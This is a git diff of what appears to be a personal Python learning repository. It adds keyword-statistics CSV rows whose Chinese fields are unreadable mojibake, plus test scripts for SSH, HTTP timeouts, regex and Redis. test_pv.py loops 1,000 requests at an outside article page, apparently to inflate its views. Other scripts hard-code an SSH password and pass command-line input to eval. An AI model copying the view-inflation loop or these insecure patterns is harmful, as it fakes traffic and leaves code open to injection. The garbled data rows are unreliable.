+"2017-02-26","绰","Ͼ-ܵͨPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-άPC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν","Ͼ-άPC",131,7,25.46,5.34%,3.64,2,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-άPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-άPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-άPC",32,2,6.31,6.25%,3.15,0,0,0 +"2017-02-26","ҵʣ","Ͼ-άPC",65,2,5.87,3.08%,2.94,1,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-繤M",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-繤M",345,14,45.10,4.06%,3.22,4,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-繤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-繤PC",35,2,8.90,5.71%,4.45,1,0,0 +"2017-02-26","ݻָѯۣ","ϾPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩҵʣ","ϾPC",11,1,0.87,9.09%,0.87,0,0,0 +"2017-02-26","ķ","ϾPC",46,2,1.49,4.35%,0.74,0,0,0 +"2017-02-26","ıࣨģ","ϾPC",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤","ϾPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķվ","ϾPC",13,1,0.70,7.69%,0.70,0,0,0 +"2017-02-26","ݻָҵʣ","ϾPC",99,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯۣ","ϾPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָ˾","ϾPC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","ϾPC",52,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤ѯۣ","ϾPC",10,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩ˾","ϾPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤ģ","ϾPC",31,1,0.42,3.23%,0.42,0,0,0 +"2017-02-26","ķʣ","ϾPC",162,3,2.38,1.85%,0.79,0,0,0 +"2017-02-26","ǩ֤","ϾPC",410,5,1.68,1.22%,0.34,0,0,0 +"2017-02-26","ķѯۣ","ϾPC",83,7,3.50,8.43%,0.50,0,0,0 +"2017-02-26","8Ʒ","ϾPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨ˾","ϾPC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķģ","ϾPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ģ","ϾPC",65,1,0.74,1.54%,0.74,0,0,0 +"2017-02-26","ķѯۣ","ϾM",379,26,15.78,6.86%,0.61,0,0,0 +"2017-02-26","ȩҵʣ","ϾM",77,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķʣ","ϾM",679,15,10.86,2.21%,0.72,0,0,0 +"2017-02-26","ıࣨѯۣ","ϾM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩ˾","ϾM",15,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨ˾","ϾM",6,1,0.81,16.67%,0.81,0,0,0 +"2017-02-26","ǩ֤","ϾM",1589,22,16.76,1.38%,0.76,0,0,0 +"2017-02-26","ģ","ϾM",80,4,2.73,5.00%,0.68,0,0,0 +"2017-02-26","ݻָ˾","ϾM",151,1,0.96,0.66%,0.96,0,0,0 +"2017-02-26","ѯۣ","ϾM",75,1,0.76,1.33%,0.76,0,0,0 +"2017-02-26","ҵʣ","ϾM",509,7,6.11,1.38%,0.87,1,0,0 +"2017-02-26","ķ","ϾM",477,10,8.11,2.10%,0.81,0,0,0 +"2017-02-26","ݻָҵʣ","ϾM",2586,42,29.37,1.62%,0.70,0,0,0 +"2017-02-26","ķģ","ϾM",24,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩѯۣ","ϾM",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķվ","ϾM",60,9,6.91,15.00%,0.77,1,0,0 +"2017-02-26","㻤","ϾM",11,1,0.74,9.09%,0.74,0,0,0 +"2017-02-26","㻤վ","ϾM",21,2,1.76,9.52%,0.88,0,0,0 +"2017-02-26","㻤ģ","ϾM",173,5,3.43,2.89%,0.69,1,0,0 +"2017-02-26","ݻָѯۣ","ϾM",465,1,0.62,0.22%,0.62,0,0,0 +"2017-02-26","ıࣨģ","ϾM",96,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ݻָģ","ϾM",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣҪ","Ͼ-ӵ㹤PC",47,5,10.56,10.64%,2.11,0,0,0 +"2017-02-26","ҵʣ","Ͼ-ӵ㹤PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","Ͼ-ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-ӵ㹤PC",7,1,2.29,14.29%,2.29,0,0,0 +"2017-02-26","ҵʣ̣","Ͼ-ӵ㹤PC",6,1,1.73,16.67%,1.73,0,0,0 +"2017-02-26","ҵʣ","Ͼ-M",95,5,8.22,5.26%,1.64,1,0,0 +"2017-02-26","˾","Ͼ-M",148,6,13.65,4.05%,2.27,1,0,0 +"2017-02-26","ҵʣģ","Ͼ-M",120,2,2.74,1.67%,1.37,0,0,0 +"2017-02-26","վ","Ͼ-M",63,3,4.35,4.76%,1.45,1,0,0 +"2017-02-26","ʴʣģ","Ͼ-M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-M",8,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-PC",69,3,4.72,4.35%,1.57,1,0,0 +"2017-02-26","ҵʣ","Ͼ-PC",48,3,6.54,6.25%,2.18,1,0,0 +"2017-02-26","˾","Ͼ-PC",22,1,2.74,4.55%,2.74,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","Ͼ-PC",20,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","Ͼ-˷PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","Ͼ-˷PC",5,1,2.76,20.00%,2.76,1,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-˷PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","Ͼ-˷PC",111,6,17.13,5.41%,2.85,1,0,0 +"2017-02-26","ҵ","Ͼ-ܵͨM",580,38,152.21,6.55%,4.01,7,0,0 +"2017-02-26","绰","Ͼ-ܵͨM",51,2,8.68,3.92%,4.34,0,0,0 +"2017-02-26","绰","Ͼ-άM",31,2,7.00,6.45%,3.50,1,0,0 +"2017-02-26","ʴʣģ","Ͼ-άM",24,1,3.70,4.17%,3.70,0,0,0 +"2017-02-26","ҵʣ","Ͼ-άM",39,1,3.48,2.56%,3.48,0,0,0 +"2017-02-26","ҵʣ","Ͼ-άM",444,6,27.07,1.35%,4.51,0,0,0 +"2017-02-26","ʴʣѯۣ","Ͼ-άM",470,12,19.55,2.55%,1.63,0,0,0 +"2017-02-26","վ","Ͼ-άM",18,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣν","Ͼ-άM",463,20,84.83,4.32%,4.24,0,0,0 +"2017-02-26","վ","-ӵ㹤M",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤M",545,32,41.75,5.87%,1.30,0,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤M",93,6,5.40,6.45%,0.90,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤M",894,84,145.65,9.40%,1.73,2,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",224,2,5.58,0.89%,2.79,0,0,0 +"2017-02-26","˾","-ӵ㹤M",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤M",29,2,1.79,6.90%,0.90,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤M",69,4,7.73,5.80%,1.93,0,0,0 +"2017-02-26","ҵʣҪ","-ӵ㹤PC",103,10,18.31,9.71%,1.83,1,0,0 +"2017-02-26","ҵʣʱ","-ӵ㹤PC",17,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ӵ㹤PC",4,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",5,1,1.59,20.00%,1.59,0,0,0 +"2017-02-26","ҵʣ","-ӵ㹤PC",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","˾","-ӵ㹤PC",3,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ̣","-ӵ㹤PC",187,8,13.99,4.28%,1.75,0,0,0 +"2017-02-26","վ","-άM",90,3,11.06,3.33%,3.69,0,0,0 +"2017-02-26","ҵʣν","-άM",1655,50,171.38,3.02%,3.43,5,0,0 +"2017-02-26","ҵʣ","-άM",1435,21,67.37,1.46%,3.21,2,0,0 +"2017-02-26","ҵʣ","-άM",143,14,47.39,9.79%,3.38,3,0,0 +"2017-02-26","ʴʣѯۣ","-άM",1160,46,79.72,3.97%,1.73,1,0,0 +"2017-02-26","ʴʣģ","-άM",79,4,13.66,5.06%,3.42,1,0,0 +"2017-02-26","绰","-άM",198,10,44.31,5.05%,4.43,3,0,0 +"2017-02-26","վ","-άPC",11,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣ","-άPC",209,12,35.49,5.74%,2.96,1,0,0 +"2017-02-26","ҵʣν","-άPC",557,26,60.56,4.67%,2.33,3,0,0 +"2017-02-26","绰","-άPC",13,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-άPC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-άPC",81,5,12.51,6.17%,2.50,0,0,0 +"2017-02-26","ҵʣ","-άPC",49,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣģ","-ҵάM",28,4,12.35,14.29%,3.09,0,0,0 +"2017-02-26","ҵʣάޣ","-ҵάM",587,26,95.30,4.43%,3.67,4,0,0 +"2017-02-26","ҵʣģ","-ҵάM",1640,70,222.59,4.27%,3.18,7,0,0 +"2017-02-26","绰","-ҵάM",176,11,18.73,6.25%,1.70,2,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάM",22,1,2.29,4.55%,2.29,0,0,0 +"2017-02-26","վ","-ҵάM",17,2,7.12,11.76%,3.56,0,0,0 +"2017-02-26","ҵʣģ","-ҵάPC",279,9,30.01,3.23%,3.33,1,0,0 +"2017-02-26","ʴʣģ","-ҵάPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","վ","-ҵάPC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-ҵάPC",17,2,5.95,11.76%,2.98,0,0,0 +"2017-02-26","绰","-ҵάPC",34,2,7.92,5.88%,3.96,0,0,0 +"2017-02-26","ҵʣάޣ","-ҵάPC",82,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-˷M",494,23,32.28,4.66%,1.40,0,0,0 +"2017-02-26","绰","-˷M",303,7,18.51,2.31%,2.64,0,0,0 +"2017-02-26","ҵʣ","-˷M",193,6,18.43,3.11%,3.07,1,0,0 +"2017-02-26","ҵʣģ","-˷M",5017,175,448.23,3.49%,2.56,15,0,0 +"2017-02-26","绰","-˷PC",21,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-˷PC",388,19,38.21,4.90%,2.01,1,0,0 +"2017-02-26","ҵʣ","-˷PC",18,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ʴʣѯۣ","-˷PC",61,3,4.80,4.92%,1.60,0,0,0 +"2017-02-26","Ļ","-ֻάM",543,19,41.76,3.50%,2.20,3,0,0 +"2017-02-26","","-ֻάM",82,4,6.12,4.88%,1.53,1,0,0 +"2017-02-26","վ","-ֻάM",18,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάM",12,1,1.79,8.33%,1.79,0,0,0 +"2017-02-26","ֻ","-ֻάM",543,18,40.00,3.31%,2.22,4,0,0 +"2017-02-26","","-ֻάM",120,4,4.95,3.33%,1.24,0,0,0 +"2017-02-26","/","-ֻάM",682,20,27.17,2.93%,1.36,3,0,0 +"2017-02-26","ѯ","-ֻάM",2381,82,83.88,3.44%,1.02,5,0,0 +"2017-02-26","ô","-ֻάM",286,1,0.41,0.35%,0.41,0,0,0 +"2017-02-26","ֻ","-ֻάPC",232,10,15.47,4.31%,1.55,2,0,0 +"2017-02-26","/","-ֻάPC",174,7,7.97,4.02%,1.14,1,0,0 +"2017-02-26","Ļ","-ֻάPC",195,8,18.28,4.10%,2.29,2,0,0 +"2017-02-26","վ","-ֻάPC",12,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","","-ֻάPC",33,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ô","-ֻάPC",41,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ѯ","-ֻάPC",159,1,0.55,0.63%,0.55,0,0,0 +"2017-02-26","","-ֻάPC",93,1,0.30,1.08%,0.30,0,0,0 +"2017-02-26","","-ֻάPC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵ","-ܵͨPC",26,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","绰","-ܵͨPC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵ","-ܵͨM",279,11,30.51,3.94%,2.77,1,0,0 +"2017-02-26","绰","-ܵͨM",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ҵʣģ","-ͥPC",366,21,80.59,5.74%,3.84,0,0,0 +"2017-02-26","˾","-ͥPC",78,2,4.54,2.56%,2.27,0,0,0 +"2017-02-26","ҵʣ๤","-ͥPC",114,3,11.91,2.63%,3.97,0,0,0 +"2017-02-26","ʴʣѯۣ","-ͥPC",43,5,17.29,11.63%,3.46,0,0,0 +"2017-02-26","ҵʣ","-ͥPC",6,1,3.23,16.67%,3.23,0,0,0 +"2017-02-26","ʴʣģ","-ͥPC",33,3,10.28,9.09%,3.43,0,0,0 +"2017-02-26","ҵʣ","-ͥM",137,7,25.00,5.11%,3.57,0,0,0 +"2017-02-26","˾","-ͥM",1271,37,144.73,2.91%,3.91,3,0,0 +"2017-02-26","ҵʣ๤","-ͥM",540,32,87.16,5.93%,2.72,2,0,0 +"2017-02-26","ʴʣģ","-ͥM",150,15,56.86,10.00%,3.79,2,0,0 +"2017-02-26","ҵʣģ","-ͥM",1370,71,261.13,5.18%,3.68,2,0,0 +"2017-02-26","ʴʣѯۣ","-ͥM",266,28,61.34,10.53%,2.19,2,0,0 +"2017-02-26","ķ","PC",172,7,12.91,4.07%,1.84,0,0,0 +"2017-02-26","ıࣨģ","PC",5,1,3.00,20.00%,3.00,0,0,0 +"2017-02-26","ȩģ","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩҵʣ","PC",366,2,5.11,0.55%,2.56,1,0,0 +"2017-02-26","ģ","PC",49,2,3.90,4.08%,1.95,0,0,0 +"2017-02-26","ҵʣ","PC",194,4,9.49,2.06%,2.37,0,0,0 +"2017-02-26","ȩѯۣ","PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ȩ˾","PC",66,1,3.56,1.52%,3.56,0,0,0 +"2017-02-26","ݻָѯۣ","PC",33,3,5.14,9.09%,1.71,1,0,0 +"2017-02-26","ѯۣ","PC",42,6,8.50,14.29%,1.42,0,0,0 +"2017-02-26","㻤վ","PC",5,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤","PC",11,1,2.14,9.09%,2.14,0,0,0 +"2017-02-26","ݻָģ","PC",7,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ıࣨѯۣ","PC",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤ģ","PC",249,14,35.73,5.62%,2.55,0,0,0 +"2017-02-26","㻤ѯۣ","PC",163,18,28.16,11.04%,1.56,0,0,0 +"2017-02-26","ݻָ˾","PC",9,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķѯۣ","PC",130,11,6.58,8.46%,0.60,0,0,0 +"2017-02-26","ǩ֤","PC",244,6,8.48,2.46%,1.41,1,0,0 +"2017-02-26","ݻָҵʣ","PC",355,8,14.84,2.25%,1.85,1,0,0 +"2017-02-26","8Ʒ","PC",17,2,2.95,11.76%,1.48,0,0,0 +"2017-02-26","ķʣ","PC",653,30,50.59,4.59%,1.69,0,0,0 +"2017-02-26","ķվ","PC",59,2,3.25,3.39%,1.62,0,0,0 +"2017-02-26","ıࣨ˾","PC",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķģ","PC",11,1,2.24,9.09%,2.24,0,0,0 +"2017-02-26","㻤˾","PC",3,1,3.13,33.33%,3.13,1,0,0 +"2017-02-26","ȩ˾","M",177,3,9.98,1.69%,3.33,0,0,0 +"2017-02-26","ķѯۣ","M",396,30,34.31,7.58%,1.14,0,0,0 +"2017-02-26","ķվ","M",610,16,45.14,2.62%,2.82,1,0,0 +"2017-02-26","㻤ģ","M",1089,46,166.29,4.22%,3.62,3,0,0 +"2017-02-26","ȩѯۣ","M",31,3,5.70,9.68%,1.90,0,0,0 +"2017-02-26","ȩģ","M",1,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","㻤ѯۣ","M",61,6,9.19,9.84%,1.53,0,0,0 +"2017-02-26","ҵʣ","M",945,32,92.07,3.39%,2.88,3,0,0 +"2017-02-26","ݻָѯۣ","M",210,8,12.27,3.81%,1.53,1,0,0 +"2017-02-26","ݻָҵʣ","M",1858,38,56.75,2.05%,1.49,4,0,0 +"2017-02-26","ǩ֤","M",1482,23,17.74,1.55%,0.77,1,0,0 +"2017-02-26","8Ʒ","M",43,19,22.40,44.19%,1.18,0,0,0 +"2017-02-26","ıࣨѯۣ","M",18,1,2.86,5.56%,2.86,0,0,0 +"2017-02-26","ݻָ˾","M",4,1,1.02,25.00%,1.02,0,0,0 +"2017-02-26","ģ","M",125,2,1.40,1.60%,0.70,0,0,0 +"2017-02-26","ѯۣ","M",661,22,29.30,3.33%,1.33,0,0,0 +"2017-02-26","㻤˾","M",6,1,4.64,16.67%,4.64,0,0,0 +"2017-02-26","㻤","M",128,13,41.17,10.16%,3.17,0,0,0 +"2017-02-26","ıࣨ˾","M",28,2,9.12,7.14%,4.56,0,0,0 +"2017-02-26","ȩҵʣ","M",564,9,24.08,1.60%,2.68,1,0,0 +"2017-02-26","ķʣ","M",837,31,54.76,3.70%,1.77,2,0,0 +"2017-02-26","ķ","M",1625,71,158.59,4.37%,2.23,0,0,0 +"2017-02-26","ıࣨģ","M",142,12,50.99,8.45%,4.25,1,0,0 +"2017-02-26","㻤վ","M",2,0,0.00,0.00%,0.00,0,0,0 +"2017-02-26","ķģ","M",104,2,4.88,1.92%,2.44,1,0,0 diff --git a/test/test_paramiko.py b/test/test_paramiko.py new file mode 100644 index 0000000..021f710 --- /dev/null +++ b/test/test_paramiko.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_paramiko.py +@time: 2017/6/16 上午9:11 +""" + +import paramiko + +ip = '192.168.64.216' +username = 'zhanghe' +password = '123456' +port = 22 +# 设置记录日志 +paramiko.util.log_to_file('ssh.log') +# 生成ssh客户端实例 +s = paramiko.SSHClient() +s.set_missing_host_key_policy(paramiko.AutoAddPolicy()) +print "Starting" +s.connect(ip, port, username, password) +stdin, stdout, stderr = s.exec_command('free -m') +print stdout.read() +s.close() + +if __name__ == '__main__': + pass diff --git a/test/test_pv.py b/test/test_pv.py new file mode 100644 index 0000000..3914d5b --- /dev/null +++ b/test/test_pv.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_pv.py +@time: 2017/7/27 下午3:21 +""" + + +import requests + +s = requests.session() + +url = 'http://www.ribble.top/article-detials/7' + + +def fk(): + r = s.get(url) + print r.url + + +def run(): + for i in range(1000): + print i, + fk() + +if __name__ == '__main__': + run() diff --git a/test/test_quote.py b/test/test_quote.py new file mode 100644 index 0000000..8bea9c3 --- /dev/null +++ b/test/test_quote.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_quote.py +@time: 2017/7/25 下午4:28 +""" + + +def f(x, l=[]): + """ + 引用测试 + :param x: + :param l: + :return: + """ + print l + for i in range(x): + l.append(i*i) + print l + +f(2) +f(3, [3, 2, 1]) +f(3) + + +def detail(): + """ + 详细过程 + :return: + """ + l_mem = [] + + l = l_mem # the first call + for i in range(2): + l.append(i*i) + + print l # [0, 1] + + l = [3, 2, 1] # the second call + for i in range(3): + l.append(i*i) + + print l # [3, 2, 1, 0, 1, 4] + + l = l_mem # the third call + for i in range(3): + l.append(i*i) + + print l # [0, 1, 0, 1, 4] + + +if __name__ == '__main__': + # detail() + pass diff --git a/test/test_re.py b/test/test_re.py index 2273ea8..c95b6f6 100644 --- a/test/test_re.py +++ b/test/test_re.py @@ -86,13 +86,48 @@ def test_has_key(html=u''): print '正常职位' +def test_group(line): + """ + 测试分组 + test_group('ip地址:127.0.0.1;') + :return: + """ + # reip = re.compile(r'(? 0] + r = p + print(r) + return r + + +def test(): + partition(range(1, 9), 4) # [[1, 2, 3, 4], [5, 6, 7, 8]] + partition(range(1, 9), 4, 2) # [[1, 2, 3, 4], [3, 4, 5, 6], [5, 6, 7, 8], [7, 8]] + partition(range(1, 9), 4, 5) # [[1, 2, 3, 4], [6, 7, 8]] + + +if __name__ == '__main__': + test() diff --git a/test/test_reflect.py b/test/test_reflect.py new file mode 100644 index 0000000..117d2b3 --- /dev/null +++ b/test/test_reflect.py @@ -0,0 +1,68 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_reflect.py +@time: 2018-07-27 14:07 +""" + + +# 假设有以下结构的包 +""" +├── abcd +│   ├── __init__.py +│   ├── __init__.pyc +│   ├── ff.py +│   └── ff.pyc +""" + +# ff.py +""" +#!/usr/bin/env python +# encoding: utf-8 + +class Gg(object): + def __init__(self): + pass + + def cc(self): + return 1 +""" + +s = 'abcd.ff' + + +# 方式一 +# c = __import__(s) + +# print(c) +# print(type(c)) +# +# print('') +# print(c.ff.Gg) +# print(getattr(getattr(c, 'ff'), 'Gg')) +# print(c.ff.Gg == getattr(c.ff, 'Gg')) +# +# print('') +# print(c.ff.Gg().cc) +# print(c.ff.Gg().cc()) + +# 方式二 +c = __import__(s, fromlist=True) + +print(c) +print(type(c)) + +print('') +print(c.Gg) +print(getattr(c, 'Gg')) +print(c.Gg == getattr(c, 'Gg')) + +print('') +print(c.Gg().cc) +print(c.Gg().cc()) + + +# https://www.cnblogs.com/yyyg/p/5554111.html diff --git a/test/test_request.py b/test/test_request.py new file mode 100644 index 0000000..78e8a29 --- /dev/null +++ b/test/test_request.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: test_request.py +@time: 2017/4/26 上午9:55 +""" + + +import requests +import time + + +def test_01(): + """ + 测试请求延时 + request start : 2017-04-26 10:05:56 + request response: 2017-04-26 10:06:06 + + process start:10:05:56 + process end :10:06:06 + :return: + """ + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + res = requests.get('http://0:8899') + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + print res + print res.text + + +def test_02(): + """ + 测试响应超时 + request start : 2017-04-26 10:11:16 + HTTPConnectionPool(host='0', port=8899): Read timed out. (read timeout=2) + request response: 2017-04-26 10:11:18 + :return: + """ + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + try: + res = requests.get('http://0:8899', timeout=2) + print res + print res.text + except requests.exceptions.ReadTimeout as e: + print u'响应超时', e.message + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + + +def test_03(): + """ + 测试连接失败 + request start : 2017-04-26 10:14:18 + HTTPConnectionPool(host='0', port=9999): Max retries exceeded with url: / (Caused by NewConnectionError(': Failed to establish a new connection: [Errno 61] Connection refused',)) + request response: 2017-04-26 10:14:18 + :return: + """ + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + try: + res = requests.get('http://0:9999') + print res + print res.text + # 连接错误 + except requests.exceptions.ConnectionError as e: + print u'连接错误', e.message + # 响应超时 + except requests.exceptions.ReadTimeout as e: + print u'响应超时', e.message + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + + +def test_04(): + """ + 测试连接成功,无响应 + 测试过程: + 开启监听:nc -l 9900 + 测试请求 + 断开监听 + 测试结果: + request start : 2017-04-26 11:24:12 + 连接错误 ('Connection aborted.', error(54, 'Connection reset by peer')) + request response: 2017-04-26 11:24:18 + :return: + """ + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + try: + res = requests.get('http://0:9900') + print res + print res.text + # 连接错误 + except requests.exceptions.ConnectionError as e: + print u'连接错误', e.message + # 响应超时 + except requests.exceptions.ReadTimeout as e: + print u'响应超时', e.message + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + + +def test_05(): + """ + 测试连接超时 + request start : 2017-04-26 11:36:20 + 连接错误 HTTPConnectionPool(host='www.x.com', port=80): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, 'Connection to www.x.com timed out. (connect timeout=3)')) + request response: 2017-04-26 11:36:23 + :return: + """ + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + try: + res = requests.get('http://www.x.com', timeout=(3, 5)) + print res + print res.text + # 连接错误 + except requests.exceptions.ConnectionError as e: + print u'连接错误', e.message + # 响应超时 + except requests.exceptions.ReadTimeout as e: + print u'响应超时', e.message + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + + +def test_06(): + """ + 测试重试 + 测试结果: + request start : 2017-04-26 11:53:18 + 连接错误 HTTPConnectionPool(host='www.x.com', port=80): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, 'Connection to www.x.com timed out. (connect timeout=3)')) + request response: 2017-04-26 11:53:40 + 结果分析: + backoff_factor: 超时补偿(默认值0)sleep seconds:{backoff factor} * (2 ^ ({number of total retries} - 1)) + 1、backoff_factor = 0.1 + (5+1)*3 + (2**(1-1) + 2**(2-1) + 2**(3-1) + 2**(4-1) + 2**(5-1))*0.1 + = 18 + 3.1 + = 21.1 + + 2、backoff_factor = 0 + request start : 2017-04-26 12:51:44 + 连接错误 HTTPConnectionPool(host='www.x.com', port=80): Max retries exceeded with url: / (Caused by ConnectTimeoutError(, 'Connection to www.x.com timed out. (connect timeout=3)')) + request response: 2017-04-26 12:52:02 + (5+1)*3 + = 18 + :return: + """ + from requests.packages.urllib3.util.retry import Retry + from requests.adapters import HTTPAdapter + + s = requests.Session() + + retries = Retry(total=5, + backoff_factor=0.1, + status_forcelist=[500, 502, 503, 504]) + + s.mount('http://', HTTPAdapter(max_retries=retries)) + s.mount('https://', HTTPAdapter(max_retries=retries)) + + print 'request start :', time.strftime("%Y-%m-%d %H:%M:%S") + try: + res = s.get('http://www.x.com', timeout=(3, 5)) + print res + print res.text + # 连接错误 + except requests.exceptions.ConnectionError as e: + print u'连接错误', e.message + # 响应超时 + except requests.exceptions.ReadTimeout as e: + print u'响应超时', e.message + print 'request response:', time.strftime("%Y-%m-%d %H:%M:%S") + + +if __name__ == '__main__': + # test_01() + # test_02() + # test_03() + # test_04() + # test_05() + test_06() + + +""" +测试页面 +index.php + + 1: + fun_name = eval(sys.argv[1]) + fun_name() + else: + print '缺失参数' + except NameError, e: + print e + print '未定义的方法[%s]' % sys.argv[1] + + +if __name__ == '__main__': + run() + + +""" +测试一般模式 +终端一: +✗ python redis_pub_sub.py test_sub +终端二: +✗ python redis_pub_sub.py test_pub + + +测试模式订阅 +终端一: +✗ python redis_pub_sub.py test_p_sub +终端二: +✗ python redis_pub_sub.py test_pub + + + +测试非无限循环模式 +终端一: +✗ python redis_pub_sub.py test_sub_not_loop +终端二: +✗ python redis_pub_sub.py test_pub +""" \ No newline at end of file diff --git a/tools/redis_queue.py b/tools/redis_queue.py new file mode 100644 index 0000000..d07c74e --- /dev/null +++ b/tools/redis_queue.py @@ -0,0 +1,115 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: redis_queue.py +@time: 2016/10/24 下午10:42 +""" + + +import sys +import redis +import json + + +class RedisQueue(object): + """Simple Queue with Redis Backend""" + + def __init__(self, name, namespace='queue', **redis_kwargs): + """The default connection parameters are: host='localhost', port=6379, db=0""" + self.__db = redis.Redis(**redis_kwargs) + self.key = '%s:%s' % (namespace, name) + + def qsize(self): + """Return the approximate size of the queue.""" + return self.__db.llen(self.key) + + def empty(self): + """Return True if the queue is empty, False otherwise.""" + return self.qsize() == 0 + + def put(self, item): + """Put item into the queue.""" + self.__db.rpush(self.key, item) + + def get(self, block=True, timeout=None): + """Remove and return an item from the queue. + + If optional args block is true and timeout is None (the default), block + if necessary until an item is available.""" + if block: + # ('queue:test', 'hello world') + item = self.__db.blpop(self.key, timeout=timeout) 